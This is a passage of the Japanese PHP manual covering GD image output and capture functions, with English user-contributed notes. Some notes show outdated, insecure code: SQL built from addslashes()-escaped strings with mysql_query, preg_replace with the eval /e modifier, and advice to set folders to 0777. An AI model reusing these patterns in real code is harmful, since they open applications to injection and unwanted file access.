ファイル保存先のパスあるいはオープン中のリソース (この関数が値を戻した後で自動的にクローズされます)。省略したり null を設定したりした場合は、画像ストリームを直接出力します。

返り値

成功した場合に true を、失敗した場合に false を返します。

警告

しかしながら、libgd がイメージの出力に失敗した場合、この関数は true を返します。

例

例1 imagegif() による画像の出力

<?php
// 新しい画像のインスタンスを作成します
$im = imagecreatetruecolor(100, 100);

// 背景を白にします
imagefilledrectangle($im, 0, 0, 99, 99, 0xFFFFFF);

// テキスト文字列を画像の上に描画します
imagestring($im, 3, 40, 20, 'GD Library', 0xFFBA00);

// 画像をブラウザに出力します
header('Content-Type: image/gif');

imagegif($im);
imagedestroy($im);
?>

例2 imagegif() による PNG 画像から GIF への変換

<?php

// PNG を読み込みます
$png = imagecreatefrompng('./php.png');

// 画像を GIF 形式で保存します
imagegif($png, './php.gif');

// メモリから開放します
imagedestroy($png);

// 終了です
echo 'Converted PNG image to GIF with success!';
?>

注意

注意:

GIF のサポートは GD ライブラリのバージョン 1.6 でいったん削除され、バージョン 2.0.28 で復活しました。この間のバージョンではこの関数は使えません。 詳細な情報は » GD Project のサイトを参照ください。

以下の短いコードにより、利用可能な GD サポートの型を自動検出して 汎用性のある PHP アプリケーションを書くことが可能です。 header ("Content-Type: image/gif"); imagegif ($im); の部分を、より柔軟性のある このコードに置換してください。

<?php
// Create a new image instance
$im = imagecreatetruecolor(100, 100);

// Do some image operations here

// Handle output
if(function_exists('imagegif'))
{
    // For GIF
    header('Content-Type: image/gif');

    imagegif($im);
}
elseif(function_exists('imagejpeg'))
{
    // For JPEG
    header('Content-Type: image/jpeg');

    imagejpeg($im, NULL, 100);
}
elseif(function_exists('imagepng'))
{
    // For PNG
    header('Content-Type: image/png');

    imagepng($im);
}
elseif(function_exists('imagewbmp'))
{
    // For WBMP
    header('Content-Type: image/vnd.wap.wbmp');

    imagewbmp($im);
}
else
{
    imagedestroy($im);

    die('No image support in this PHP server');
}

// If image support was found for one of these
// formats, then free it from memory
if($im)
{
    imagedestroy($im);
}
?>

注意:

種々のイメージ関数のサポートを調べるために 関数 imagetypes() を使用することが可能です。

<?php
if(imagetypes() & IMG_GIF)
{
    header('Content-type: image/gif');
    imagegif($im);
}
elseif(imagetypes() & IMG_JPG)
{
    /* ... etc. */
}
?>

参考

  • imagepng() - PNG イメージをブラウザまたはファイルに出力する
  • imagewbmp() - 画像をブラウザあるいはファイルに出力する
  • imagejpeg() - 画像をブラウザあるいはファイルに出力する
  • imagetypes() - この PHP がサポートしている画像形式を返す

User Contributed Notes

coldume 06-Sep-2013 07:19
To keep GIF animation, you can try the class writing based on GD
GD Enhancer http://www.gdenhancer.com/
mail at ignore dot area dot nospam dot joshho dot com 11-Jan-2012 10:37
apparently GD does not support animated GIFs.

instead, we're stuck with the old fashioned way:
<?php
header('Content-Type: image/gif');
echo file_get_contents($destPathImage);
?>
grant k. 27-Jul-2010 10:46
It should be noted that if you only want to "save" the file, and not display it to the browser, you should catch the imagegif into a variable.

Example:

<?php
//Only saves the file to a destination, no display

$image_value = imagegif($image, $save_file_to_path);

//Saves file and attempts to display it, but will throw an error message

imagegif($image, $save_file_to_path);

//Only displays, never saves as a file
imagegif($image);

//Note: In [my] third example, for displaying only, it is probably good to use the "header('Content-type: image/gif'); declaration, but it's not needed in the first example for saving as a .gif file.
?>
stefan at colulus dot com 30-May-2008 11:18
I worked out a script that allows the transfer of alphanumeric data to be placed on an image. The HTML feature is img src and the php feature is imagettftext. This simple code will increment from 1 to 3 on images.

code:

<?php
//ImageCall.php -- This script will call a script to produce the image.
for($next = 1;$next < 4; $next++){
print "Image $next:<br>";
print "<img src = 'Image.php?\$text=$next'>";
print "<br><br>";
}
?>

<?php
//Image.php -- This script creates a square image and places the text on it.

// image size and color
$im = ImageCreate(77,77);
$color1 = ImageColorAllocate($im,0x66,0xCC,0x00);
$color2 = ImageColorAllocate($im,0x33,0x66,0x00);
$color3 = ImageColorAllocate($im,0x00,0x99,0x00);
$color4 = ImageColorAllocate($im,0x3D,0x3D,0x3D);

// image creation
ImageFilledRectangle($im,1,1,76,76,$color1);
ImageFilledpolygon($im, array (76,1,1,76,76,76),3,$color2);
ImageFilledRectangle($im,5,5,72,72,$color3);

// determine numeric center of image
$size = ImageTTFBBox(45,0,'impact',$_GET['$text']);
$X = (77 - (abs($size[2]- $size[0])))/2;
$Y = ((77 - (abs($size[5] - $size[3])))/2 + (abs($size[5] - $size[3])));

//places numeric information on image
ImageTTFText($im,45,0,($X-1),$Y,$color4,'impact',$_GET['$text']);

//returns completed image to calling script
Header('Content-Type: image/png');
Imagegif($im);

?>
alan hogan dot com slash contact 12-Nov-2007 02:47
Note that you *can* save with a transparent color **and dither** using GD2.
For a useful example, see the png-to-gif function in my coment here:
http://www.php.net/manual/en/function.imagecolorat.php
rokfaith at gmail dot com 06-Jul-2006 03:34
to create an animated gif with gifsicle, but without storing temporary images on disk:

<?php
$cmd = 'gifsicle --loop -O1 --multifile --delay 25 - > '.$outfile;
$desc = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w"));
$proc = proc_open($cmd, $desc, $pipes);
if (!is_resource($proc)) {
  die('Unable to start gifsicle');
}
for ($frame=0; $frame<$total_frames; $frame++) {
  $image = RenderFrame($frame);
  ob_start();
  imagegif($image);
  fwrite($pipes[0], ob_get_contents());
  ob_end_clean();
  imagedestroy($image);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($proc);
?>

just define $outfile and RenderFrame(), and that's it.
Leigh Purdie 03-Jul-2005 05:17
Simple animated-gif hack (requires ImageMagick):

<html><body>
<?php
        $icount=0;
        for($count=0;$count<40;$count++) {
                $im=imagecreate(200,200);
                imagecolorallocate($im,0,0,255);
                $white=imagecolorallocate($im,255,255,255);
                imagerectangle($im,$count,$count,200-$count,200-$count,$white);
                $icount++;
                $tcount=sprintf("%04d",$icount);
                imagegif($im,"/tmp/test-$tcount.gif");
                imagedestroy($im);
        }
        exec("/usr/bin/convert -delay 2 -loop 10 /tmp/test*.gif /var/www/html/Tests/Test-Anim.gif");
?>
<img src="/Tests/Test-Anim.gif">
</body>
</html>
Lauri Harpf 23-Jun-2005 09:25
Using <IMG SRC="image.php"> to dynamically generate images is a bit problematic regarding cache. Unless caching is activated, IE seems to get confused about the type of the image when attempting to save it. A .GIF created in the above way causes the browser to suggest saving the image with .BMP, not .GIF.

A solution is to activate cache with session_cache_limiter('public'); in "image.php", after which IE will correctly save as .GIF. If you do not want the cache to block any changes in the dynamic image, make sure that the SRC keeps changing with every reload. Something like "image.php/" . mt_rand(1,100000) . ".gif" seems to work well.

Might be trivial to some, but I spent a couple of hours figuring out why IE always wants to save my dynamic .GIF's as .BMP's.
jemore at nospam dot m6net dot fr 22-Nov-2003 10:24
If you open a truecolor image (with imageCreateFromPng for example), and you save it directly with imagegif, you can have a 500 internal server error. You must use imageTrueColorToPalette to reduce to 256 colors before saving the image in GIF format.
polone at townnews dot com 03-Apr-2002 11:40
read also RFC2557: http://www.ietf.org/rfc/rfc2557.txt
For handling inline images in email.
----

I've been playing around with the "data" URL scheme as proposed by RFC 2397 which states how to perform inline, bas64 encoded images. A number of browsers support this format from some of my tests and would be an interesting way of removing overhead from multiple HTTP connections. Basically, the IMG tag would be:

<IMG SRC="/-/data:image/gif;base64,R0lGODdhMAAwAPAAAAAAAP///ywAAAAAMAAw AAAC8IyPqcvt3wCcDkiLc7C0qwyGHhSWpjQu5yqmCYsapyuvUUlvONmOZtfzgFz ByTB10QgxOR0TqBQejhRNzOfkVJ+5YiUqrXF5Y5lKh/DeuNcP5yLWGsEbtLiOSp a/TPg7JpJHxyendzWTBfX0cxOnKPjgBzi4diinWGdkF8kjdfnycQZXZeYGejmJl ZeGl9i2icVqaNVailT6F5iJ90m6mvuTS4OK05M0vDk0Q4XUtwvKOzrcd3iq9uis F81M1OIcR7lEewwcLp7tuNNkM3uNna3F2JQFo97Vriy/Xl4/f1cf5VWzXyym7PH hhx4dbgYKAAA7" ALT="Larry">

Something like that. Note also that I start the URI with "/-/" before the rest of the data scheme spec. If you don't start it with this, it won't work in a lot of the different browsers I tested (such as IE). Note this is useful for very small images only (as most browsers appear to have a limitation on the size of HTML element data of 1024). Browsers where this syntax worked that I tested are the following:

IE 6.x (windows)
Mozilla 0.97+ (linux)
Opera 5, 6 (windows)
Netscape 4.7+ (mac, windows)
IE 5 (macintosh)

This should work for other image types as well, such as PNG. JPEG files aren't really suggested (usually, these files are too large). BTW - there is no advantage to this method if the image will appear more than ONCE in the page because you will be transmitting the same data multiple times as opposed to just once (most browsers realize that already downloaded data that has multiple references only requires one HTTP call).

Consider using this method if you want to make a single PHP program that outputs both text and an image AND you want to make only on HTTP call. Cheers.
kremlin at home dot com 26-Feb-2001 09:45
Animated GIFs as well as transparent GIFs qualify as GIF89a's and you should use ImageColorTransparent().
david at hooshla dot com 28-Apr-2000 07:45
This is how you load and display an image file:

<?php
Header("Content-Type: image/gif");
$fn=fopen("./imagefile.gif","r");
fpassthru($fn);
?>

Note that there are no new-lines in the content type header.


画面全体をキャプチャする

  • ≪ imagegif
  • imagegrabwindow ≫
  • PHP Manual
  • GD および Image 関数
  • 画面全体をキャプチャする

imagegrabscreen

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

imagegrabscreen — 画面全体をキャプチャする

説明

imagegrabscreen ( ) : resource

画面全体のスクリーンショットを取得します。

注意:

この関数は Windows 上でのみ使用できます。

返り値

成功した場合に画像リソースの ID、失敗した場合に false を返します。

例

例1 imagegrabscreen() の例

この例は、現在の画面の状態のスクリーンショットを取得してそれを png 画像として保存するものです。

<?php
$im = imagegrabscreen();
imagepng($im, "myscreenshot.png");
imagedestroy($im);
?>

参考

  • imagegrabwindow() - ウィンドウをキャプチャする

User Contributed Notes

divinity76 at gmail dot com 22-Mar-2019 02:45
if you for whatever reason need this in Cygwin, this can be done with the library at https://github.com/divinity76/autoit_php

- cygwin-compatible rough equivalent:

<?php
if(!function_exists("imagegrabscreen")){
    function imagegrabscreen()/*:gd-resource*/{
        require_once("autoit.class.php");
        $au=new AutoIt();
        $png_binary=$au->_ScreenCapture_Capture();
        return imagecreatefromstring($png_binary);
    }
}

(note that unlike the real imagegrabscreen() , this function may throw a RuntimeException if there is a problem taking the picture, or if autoit.class.php cannot be loaded)
Nitrogen 12-Dec-2009 07:22
If you have multiple displays set up, this function will only grab the primary display; not all of them like you would with the 'Print Screen' key.

Also, this should be pretty obvious but I'll mention it anyway, if you're running GPU-intensive applications (not CPU), calling this function will cause quite some significant lag to your machine and server response until the request is complete.
andrew at local dot co dot nz 18-Apr-2008 04:02
For this to work your Apache service must be set to 'Allow service to interact with desktop' otherwise you will just get a blank image. To fix this right-click My Computer, select Manage/Services and Applications/Services - find the apache service (like Apache2) and right-click, select Properties - choose the Log on tab and check the 'Allow service to interact with desktop' checkbox. Restart Apache.


ウィンドウをキャプチャする

  • ≪ imagegrabscreen
  • imageinterlace ≫
  • PHP Manual
  • GD および Image 関数
  • ウィンドウをキャプチャする

imagegrabwindow

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

imagegrabwindow — ウィンドウをキャプチャする

説明

imagegrabwindow ( int $window_handle , int $client_area = 0 ) : resource

ウィンドウあるいはそのクライアント領域のキャプチャを、 ウィンドウハンドル (COM インスタンスの HWND プロパティ) を指定して取得します。

注意:

この関数は Windows 上でのみ使用できます。

パラメータ

window_handle

HWND ウィンドウ ID。

client_area

アプリケーションのクライアント領域を含めるかどうか。

返り値

成功した場合に画像リソースの ID、失敗した場合に false を返します。

エラー / 例外

window_handle が無効なウィンドウハンドルである場合に E_NOTICE、 Windows API のバージョンが古すぎる場合に E_WARNING が発生します。

例

例1 imagegrabwindow() の例

ウィンドウ (ここでは IE) のキャプチャを行います。

<?php
$browser = new COM("InternetExplorer.Application");
$handle = $browser->HWND;
$browser->Visible = true;
$im = imagegrabwindow($handle);
$browser->Quit();
imagepng($im, "iesnap.png");
imagedestroy($im);
?>

ウィンドウ (ここでは IE) の中身のキャプチャを行います。

<?php
$browser = new COM("InternetExplorer.Application");
$handle = $browser->HWND;
$browser->Visible = true;
$browser->Navigate("http://www.libgd.org");

/* まだ動作するか？ */
while ($browser->Busy) {
    com_message_pump(4000);
}
$im = imagegrabwindow($handle, 0);
$browser->Quit();
imagepng($im, "iesnap.png");
imagedestroy($im);
?>

参考

  • imagegrabscreen() - 画面全体をキャプチャする

User Contributed Notes

nico ->atdot 29-Sep-2007 08:37
If you just want to take a screenshot of a website WITHOUT the ugly IE window around it, the easiest way is setting the "Fullscreen" property to TRUE.

$browser->Fullscreen = true;

This is basically the same as pressing F11 once the browser is open, so you just get the actual website.


インターレースを有効もしくは無効にする

  • ≪ imagegrabwindow
  • imageistruecolor ≫
  • PHP Manual
  • GD および Image 関数
  • インターレースを有効もしくは無効にする

imageinterlace

(PHP 4, PHP 5, PHP 7, PHP 8)

imageinterlace — インターレースを有効もしくは無効にする

説明

imageinterlace ( resource $image , int $interlace = 0 ) : int

imageinterlace() は、インターレースビットをon またはoffに切り替えます。

インターレースビットがonでかつその画像が JPEG の場合、 その画像はプログレッシブ JPEG として生成されています。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

interlace

ゼロ以外の場合はインターレース画像となり、 ゼロの場合はインターレースビットを off にします。

返り値

画像のインターレースビットが設定されている場合に 1、 それ以外の場合に 0 を返します。

例

例1 imageinterlace() によるインターレース処理の有効化

<?php
// 画像のインスタンスを作成します
$im = imagecreatefromgif('php.gif');

// インターレースを有効にします
imageinterlace($im, true);

// 画像を保存します
imagegif($im, './php_interlaced.gif');
imagedestroy($im);
?>

User Contributed Notes

info at dvorakj dot com 29-Oct-2020 09:09
This function will be great only after that browsers will stop sending next data if it is already sent enought to display them on users's screen due to its possibilities and more pixels to send are absolutely useless. This is the current purpose of jpeg progressivity and still not implemented. After that, you doesn't have to create many versions of pictures for different densities of screens and it will save a lot of things.
razvan_bc at yahoo dot com 14-Jan-2020 08:54
this function really saved my day !!!

well for testing i should upload several jpg some had jfif encoding ,
so some are color losing when i include them in fpdf ,tcpdf (i tryed 2 open sources to minimize errors to know wht's wrong) .
the thumb function i used now (fixed) is

public static function jpgtofilethumb($file,$thumb,$lun,$quality){
        //de la php.net
        list ($x, $y) = @getimagesize ($file);
        $img = @imagecreatefromjpeg ($file);
        if ($x > $y) {
            $tx = $lun;
            $ty = round($lun / $x * $y);
        } else {
            $tx = round($lun / $y * $x);
            $ty = $lun;
        }
        $thb = imagecreatetruecolor ($tx, $ty);

        // Enable interlancing
        if(imageistruecolor($thb)) imageinterlace($thb, true);

        imagecopyresampled ($thb,$img, 0,0, 0,0, $tx,$ty, $x,$y);
        imagejpeg ($thb, $thumb, $quality);
        imagedestroy ($thb);
        imagedestroy ($img);
    }
Gerry Danen 24-Jan-2007 05:20
It was suggested that this function can be used to retrieve the interlace bit of an image that is stored in a file. This is not the case.
While imageinterlace() returns 0 or 1 if a valid Image resource is passed, passing a file name as a string results in a PHP warning and the return value is neither 0 nor 1.
julien / at / theoconcept.com 29-Jan-2006 02:33
This function is useful when working with Ming, as SWFBitmap constructor will use a NON INTERLACED Jpeg file, so you have to use imageinterlace(0);
mangobrain.co.uk 17-Jan-2006 02:03
dr_snapid's comment that "the server sends every Nth line" is not entirely true. A web server need not know anything about the contents of the file it is sending; its job is simply to send the data. Rather, the image is created in such a way that the data corresponding to "every Nth line" appears at the beginning of the file, with the details becoming able to be filled in as more of the file is received by the browser. In PHP's case, the data may have been generated dynamically instead of pulled from a file, but this does not change the fact that it is the data itself that is different, not the manner in which it is sent.*

In fact, with JPEG, it is less "every Nth line", and more "every Nth pixel", where N is gradually decreased, resulting in a grid that gets progressively more fine-grained as the data is received (hence the appearance of a low res image becoming more detailed). The browser basically estimates what goes in the gaps between pixels, probably by simply blending between the colours, whilst the "real" data continues arriving. This is a fundamentally different method for encoding the data when compared to non-progressive JPEGs, and coupled with the format's other compression techniques, may indeed result in a different file size.

*Can you imagine how much more buggy the Web would be if servers were expected to send different file types using different algorithms, and browsers were expected to be able to receive every one of them?
dr_snapid at mxm dot com dot au 21-Nov-2005 08:16
Interlacing doesnt store another image, it simple changes the order in which the images lines are sent and rendered. The server sends every Nth line, reaches the end, then goes back to the start, reading the lines in between.

After each pass the browser displays the downloaded lines, plus filles the lines not yet received the same, but with each pass the gaps being filled get smaller and the image sharpens. After several passes every line has been read, and the browser has rendered the image in full detail.

Hope that makes sense, it does explain why there should not really be any difference in filesize, so I cant explain why some people have observed a file size difference.

As I understand it, there is only 1 bit in the file which says if its interlaced or not, and the server and client (browser) just handle it differently if it is set to 1.
thomas dot brandl at barff dot de 15-Jul-2005 12:28
Set imageinterlace() to 0 if you need to load the generated images in Flash. Flash does not support progressive JPEGs
drake127 11-Jun-2005 03:51
Interlancing works also with PNG files but it increase filesize (from 14.4M to 17.7M).
mironto at mironto dot sk 19-Nov-2004 06:17
just to add my 5 cents on the progressive principle of jpeg: there are no several lowres images stored in jpeg along with original picture, the only thing altered is the order of "pixels". in jpeg the image is divided in areas 8x8 pixels, so instead of linear order of pixels (row-by-row), first there is one pixel form each 8x8 area included in the begining of the image data stream, so when the browser recieves all 8x8 area pixels, it can display "pixelate" image and as soon as it recieves more data, the browser can add more pixels and "sharpen" the image.
manuel.warum at edu.uni-klu.ac.at 15-Apr-2004 10:41
About MichaelSoft's note "Imageinterlace($im, 1) creates a JPG which is first loaded completely before showing anything":

Actually, that's not completely true.
This only happens with Internet Explorer (any version, for the time being) as it doesn't seem to support progressive displaying and rather shows the image, when it's 100% done with loading. Other browsers (Mozilla, Mozilla Firefox, Opera, Konqueror, etc.) do their job as they're supposed to do: Displaying a very low-res image, then overlaying a midlow-res image (while loading), and then displaying more and more details.
ben dash xo at dubplates dot org 19-Mar-2004 06:25
There is a bug in Microsoft Internet Explorer (at least at present) that means that often, a progressive/interlaced JPEG will actually NOT show at all whilst loading, suddenly appearing only when the entire picture has loaded. A regular NON-interlaced/NON-progressive JPEG will display line by line as it loads, which paradoxically gives the illusion that it's loading faster. MSIE definitely has this one backwards!!

This behaviour is not apparent in other browsers such as Mozilla/FireFox - in these browsers, the image loads progressively, as it should.
PHPProgrammer 24-Nov-2003 06:21
Using the interlace-option reduces the filesize! (doesnt really match with the idea that an additional low-res-image is stored)


画像が truecolor かどうか調べる

  • ≪ imageinterlace
  • imagejpeg ≫
  • PHP Manual
  • GD および Image 関数
  • 画像が truecolor かどうか調べる

imageistruecolor

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

imageistruecolor — 画像が truecolor かどうか調べる

説明

imageistruecolor ( resource $image ) : bool

imageistruecolor() は、 image が truecolor 画像かどうか調べます。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

返り値

image が truecolor の場合に true、 それ以外の場合に false を返します。

例

例1 imageistruecolor() による、シンプルな true color 画像の検出

<?php
// $im は画像のインスタンスです

// それが true color 画像か否かを調べます
if(!imageistruecolor($im))
{
    // 新しい true color 画像のインスタンスを作成します
    $tc = imagecreatetruecolor(imagesx($im), imagesy($im));

    // ピクセルをコピーします
    imagecopy($tc, $im, 0, 0, 0, 0, imagesx($im), imagesy($im));
    imagedestroy($im);

    $im = $tc;
    $tc = NULL;

    // あるいは imagepalettetotruecolor() を使います
}

// 画像のインスタンスに対する操作を続けます
?>

参考

  • imagecreatetruecolor() - TrueColor イメージを新規に作成する
  • imagepalettetotruecolor() - パレット形式の画像を true color に変換する

User Contributed Notes

There are no user contributed notes for this page.


画像をブラウザあるいはファイルに出力する

  • ≪ imageistruecolor
  • imagelayereffect ≫
  • PHP Manual
  • GD および Image 関数
  • 画像をブラウザあるいはファイルに出力する

imagejpeg

(PHP 4, PHP 5, PHP 7, PHP 8)

imagejpeg — 画像をブラウザあるいはファイルに出力する

説明

imagejpeg ( resource $image , mixed $to = null , int $quality = -1 ) : bool

imagejpeg() は、画像 image から JPEG ファイルを作成します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

to

ファイル保存先のパスあるいはオープン中のリソース (この関数が値を戻した後で自動的にクローズされます)。省略したり null を設定したりした場合は、画像ストリームを直接出力します。

quality

quality はオプションであり、0(品質は最低 ですが、ファイルはより小さい)から100(品質は最高ですが、ファイルは 最大)の範囲で指定します。 デフォルト (-1) は、IJG 品質値(75) を使います。

返り値

成功した場合に true を、失敗した場合に false を返します。

警告

しかしながら、libgd がイメージの出力に失敗した場合、この関数は true を返します。

例

例1 JPEG 画像のブラウザへの出力

<?php
// 空の画像を作成し、テキストを追加します
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// content type ヘッダを、ここでは image/jpeg と設定します
header('Content-Type: image/jpeg');

// 画像を出力します
imagejpeg($im);

// メモリを開放します
imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : JPEG 画像の出力

例2 JPEG 画像のファイルへの保存

<?php
// 空の画像を作成し、テキストを追加します
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// 画像を 'simpletext.jpg' として保存します
imagejpeg($im, 'simpletext.jpg');

// メモリを開放します
imagedestroy($im);
?>

例3 75% 品質でのブラウザへの画像の出力

<?php
// 空の画像を作成し、テキストを追加します
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  'A Simple Text String', $text_color);

// content type ヘッダを、ここでは image/jpeg と設定します
header('Content-Type: image/jpeg');

// to パラメータを NULL でスキップし、品質を 75% に設定します
imagejpeg($im, NULL, 75);

// メモリを開放します
imagedestroy($im);
?>

注意

注意:

プログレッシブ JPEG を出力したい場合には、 imageinterlace() でインターレースをセットする必要があります。

参考

  • imagepng() - PNG イメージをブラウザまたはファイルに出力する
  • imagegif() - 画像をブラウザあるいはファイルに出力する
  • imagewbmp() - 画像をブラウザあるいはファイルに出力する
  • imageinterlace() - インターレースを有効もしくは無効にする
  • imagetypes() - この PHP がサポートしている画像形式を返す

User Contributed Notes

flying man 29-Sep-2019 08:10
ZERO BYTE FILE RESULT - HERE'S WHY!

Take to heart that CAUTION note on this function. If gdlib fails to output, it still returns true!  I'd call that a bug personally.

GD will fail to output if you have an image exceeding its maximum undisclosed dimensions of 65500 pixels.

You'll get a zero byte file instead
Bruno de Lima - bruno at tthedreamstone dot net 23-Jul-2013 07:23
[[Editor's note: removed the header()-call since it is not required when outputting inline image-data]]
One single code line, solve-me after 3 hours of blind search!

here is:

... ob_start();
  imagejpeg( $img, NULL, 100 );
  imagedestroy( $img );
  $i = ob_get_clean();

echo "<img src='data:image/jpeg;base64," . base64_encode( $i )."'>"; //saviour line!
bernytech at gmail dot com 05-May-2011 03:32
Don't be like me racking my brain for hours trying to figure out why my xxx.php file outputs http://localhost/xxx.php as a one line response.

Why?

Most likely, you have either:

1. whitespaces before or after the php tags
2. need to set header('Content-type: image/jpeg');
3. if you have required files...be sure nothing is outputted...no test print statements because page expects image information
4.  there is an error in your code

in my case, it was 4.  there is a reason why the function call base64decode does not work...

it's actually: base64_decode()

by the way, other ways to validate your image encoded in base64 is to use the following tag:

echo '<img src="data:image/jpeg;base64,'.$row['IMAGE'].'" alt="photo">';

I was pulling a blob encoded base 64 data from mysql database and trying to render it on a page

hope this helps someone.
Ray.Paseur sometimes uses Gmail 22-Sep-2010 03:06
If string $filename is given and it exists, it will be overwritten.
tomas at dundacek dot cz 08-Jun-2009 01:31
I had a problem with denied permissions when trying to upload AND resize an image having safe_mode on. This caused that I couldn't create the new file in which I wanted to resampled the image with nor with imagejpeg() nor with touch() and imagejpeg() after it.

Here is my solution, I didn't test, but it's possible, it is biting some memory:

<?php
function resize($image, $target_file) {
  // $image is the uploaded image
  list($width, $height) = getimagesize($image['tmp_name']);

  //setup the new size of the image
  $ratio = $width/$height;
  $new_height = 500;
  $new_width = $new_height * $ratio;

  //move the file in the new location
  move_uploaded_file($image['tmp_name'], $target_file);

  // resample the image
  $new_image = imagecreatetruecolor($new_width, $new_height);
  $old_image = imagecreatefromjpeg($target_file);
  imagecopyresampled($new_image,$old_image,0,0,0,0,$new_width, $new_height, $width, $height);

  //output
  imagejpeg($new_image, $target_file, 100);
}

?>

As you can see, the function moves the uploaded file where you want to save the resampled image (move_uploaded_file is not restricted by safe_mode) and then you can resample the image, because it was created by moving it already.

Note: the directory where you want to save the file must have permissions set to 0777.
viciousVelo 06-Apr-2009 07:49
for those who get the message "permission denied" or "unable to access": it looks like a problem with your writepermissions to this folder. no matter if you use windows- or linuxserver, be sure the correct user has the permission to write to the correct folder.
francesco@essensys 26-Mar-2009 05:23
I didn't find any example like this on the Web, so I mixed pieces together.. hope this will save time to other people!

Here's a complete solution to READ any image (gif jpg png) from the FILESYSTEM, SCALE it to a max width/height, SAVE the scaled image to a BLOB field keeping the original image type. Quite tricky..

<?php

function scaleImageFileToBlob($file) {

    $source_pic = $file;
    $max_width = 200;
    $max_height = 200;

    list($width, $height, $image_type) = getimagesize($file);

    switch ($image_type)
    {
        case 1: $src = imagecreatefromgif($file); break;
        case 2: $src = imagecreatefromjpeg($file);  break;
        case 3: $src = imagecreatefrompng($file); break;
        default: return '';  break;
    }

    $x_ratio = $max_width / $width;
    $y_ratio = $max_height / $height;

    if( ($width <= $max_width) && ($height <= $max_height) ){
        $tn_width = $width;
        $tn_height = $height;
        }elseif (($x_ratio * $height) < $max_height){
            $tn_height = ceil($x_ratio * $height);
            $tn_width = $max_width;
        }else{
            $tn_width = ceil($y_ratio * $width);
            $tn_height = $max_height;
    }

    $tmp = imagecreatetruecolor($tn_width,$tn_height);

    /* Check if this image is PNG or GIF, then set if Transparent*/
    if(($image_type == 1) OR ($image_type==3))
    {
        imagealphablending($tmp, false);
        imagesavealpha($tmp,true);
        $transparent = imagecolorallocatealpha($tmp, 255, 255, 255, 127);
        imagefilledrectangle($tmp, 0, 0, $tn_width, $tn_height, $transparent);
    }
    imagecopyresampled($tmp,$src,0,0,0,0,$tn_width, $tn_height,$width,$height);

    /*
     * imageXXX() only has two options, save as a file, or send to the browser.
     * It does not provide you the oppurtunity to manipulate the final GIF/JPG/PNG file stream
     * So I start the output buffering, use imageXXX() to output the data stream to the browser,
     * get the contents of the stream, and use clean to silently discard the buffered contents.
     */
    ob_start();

    switch ($image_type)
    {
        case 1: imagegif($tmp); break;
        case 2: imagejpeg($tmp, NULL, 100);  break; // best quality
        case 3: imagepng($tmp, NULL, 0); break; // no compression
        default: echo ''; break;
    }

    $final_image = ob_get_contents();

    ob_end_clean();

    return $final_image;
}

?>

So, let's suppose you have a form where a user can upload an image, and you have to scale it and save it into your database.

<?php

    [..] // the user has clicked the Submit button..

    // Check if the user entered an image
    if ($_FILES['imagefile']['name'] != '') {
        $image = scaleImageFileToBlob($_FILES['imagefile']['tmp_name']);

        if ($image == '') {
            echo 'Image type not supported';
        } else {
            $image_type = $_FILES['imagefile']['type'];
            $image = addslashes($image);

            $query  = "UPDATE yourtable SET image_type='$image_type', image='$image' WHERE ...";
            $result = mysql_query($query);
            if ($result) {
               echo 'Image scaled and uploaded';
             } else {
               echo 'Error running the query';
             }
        }
    }

?>
soapergem at gmail dot com 06-Nov-2008 01:48
I came here looking for something similar to the getJPEGresolution function, but noticed the drawbacks that were pointed out in the last post. So, after drawing on some other code examples on the web, I put together the following function which should always properly return the correct values. (But remember that you still need to have the EXIF extension installed with your instance of PHP for this to work!)

<?php

function jpeg_dpi($filename)
{
    if ( exif_imagetype($filename) != IMAGETYPE_JPEG ) {
        return false;
    } else {
        $exif = exif_read_data($filename, 'IFD0');
    }

    $x = $y = 0;
    if ( isset($exif['XResolution']) && isset($exif['YResolution']) ) {
        $x = intval(preg_replace('@^(\\d+)/(\\d+)$@e', '$1/$2', $exif['XResolution']));
        $y = intval(preg_replace('@^(\\d+)/(\\d+)$@e', '$1/$2', $exif['YResolution']));
    }

    if ( !$x && !$y && $fp = fopen($filename, 'r') ) {
        $string = fread($fp, 20);
        fclose($fp);

        $data = bin2hex(substr($string, 14, 4));
        $x = hexdec(substr($data, 0, 4));
        $y = hexdec(substr($data, 4, 4));
    }

    if ( $x || $y ) {
        return array($x, $y);
    }

    return false;
}

?>

This function returns an array with the x-resolution, y-resolution when they can be determined, otherwise FALSE.
ahows at noggin dot com dot au 21-Oct-2008 10:36
Regarding the code below, it only grabs the last byte of the DPI information in JFIF-mode. I was wondering why my 300-DPI file was being reported as 44. 300 - 256 = 44 of course.
lorezyra (at) lorezyra (dot) com 13-Sep-2008 06:50
For those looking to grab the resolution of a JPEG image without using GD nor ImageMagic... I wrote this simple function.

Too bad GD doesn't have this very simple function for us to use...

<?php
function getJPEGresolution($filename){
    $outRez=array();
    // Read the file
    ob_start(); // start a new output buffer
    $image   = file_get_contents($filename);

    // grab DPI information from the JPG header
    $outRez["xDPI"] = ord($image[15]);
    $outRez["yDPI"] = ord($image[17]);
    ob_end_clean(); // stop this output buffer

    //xDPI and yDPI should equal in value... but we output both anyway...
    return($outRez);
}//end function getJPEGresolution
?>
stefan at colulus dot com 30-May-2008 11:16
I worked out a script that allows the transfer of alphanumeric data to be placed on an image. The HTML feature is img src and the php feature is imagettftext. This simple code will increment from 1 to 3 on images.

code:

<?php
//ImageCall.php -- This script will call a script to produce the image.
for($next = 1;$next < 4; $next++){
print "Image $next:<br>";
print "<img src = 'Image.php?\$text=$next'>";
print "<br><br>";
}
?>

<?php
//Image.php -- This script creates a square image and places the text on it.

// image size and color
$im = ImageCreate(77,77);
